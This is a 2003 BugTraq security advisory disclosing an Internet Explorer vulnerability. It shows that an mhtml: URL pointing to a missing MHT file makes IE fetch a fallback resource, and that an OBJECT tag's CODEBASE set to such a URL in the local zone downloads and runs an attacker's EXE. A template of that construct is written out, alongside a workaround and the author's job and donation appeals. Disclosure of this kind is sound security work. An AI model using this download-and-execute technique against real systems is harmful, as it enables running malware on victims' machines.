BugTraq
MHTML Redirection Leads to Downloading EXE and Executing Nov 25 2003 09:51AM
Liu Die Yu (liudieyuinchina yahoo com cn)


MHTML Redirection Leads to Downloading EXE and Executing

[tested]

OS:Win2k3,CN version

IE: with MS03-048 installed.

OS:WinXp, CN version

Microsoft Internet Explorer v6.Sp1; up-to-date on 2003/11/16

[overview]

A vulnerability in Internet Explorer is found: any attacker that can reach MYCOMPUTER security zone(a.k.a local zone) is able to download his EXE file and execute it.

[demo]

There is a harmless demo:

http://www.safecenter.net/UMBRELLAWEBV4/MhtRedirLaunchInetExe/MhtRedirLa
unchInetExe-Demo.zip

[technical details]

There is a feature in Internet Explorer when it tries to retrieve a file embedded in an MHT file, like:

mhtml:[Mhtml_File_Url]![Original_Resource_Url]

If [Original_Resource_Url] cannot be retrieved from [Mhtml_File_Url], IE will try to download [Original_Resource_Url] and return the downloaded content.

It's like as HTTP redirection.

And CODEBASE execution is a URL-based security check.

(Liu Die Yu's http://continue.to/trie )

So, in MYCOMPUTER security, point CODEBASE property of an OBJECT tag with unused CLSID to:

mhtml:file:///C:\No_SUCH_MHT.MHT![Attaker_PayloadEXE_Url]

and then, IE will download [Attaker_PayloadEXE_Url] and execute it.

[Workaround]

Disable Active Scripting in INTERNET zone.

[Greetings]

greetings to:

Drew Copley, dror, guninski and mkill.

-----

all mentioned resources can always be found at UMBRELLA.MX.TC

[people]

LiuDieyuinchina [N0-@-Sp2m] yahoo.com.cn

UMBRELLA.MX.TC ==> How to contact "Liu Die Yu"

[message]

A wise man learns from other's mistakes; a fool learns from his own.

[Employment]

I would like to work professionally as a security researcher/bug finder.

See my resume at my site. I am very eager to work, flexible, and

extremely productive. I have a top notch resume, with credentials

from leading bug finders. I am willing to work per contract, relocate,

or telecommute.

[Give a Hand]

I haven't got a job as a security researcher yet and my family don't support my security work - so, I don't have a computer of my own. Please consider about donating at:

http://clik.to/donatepc

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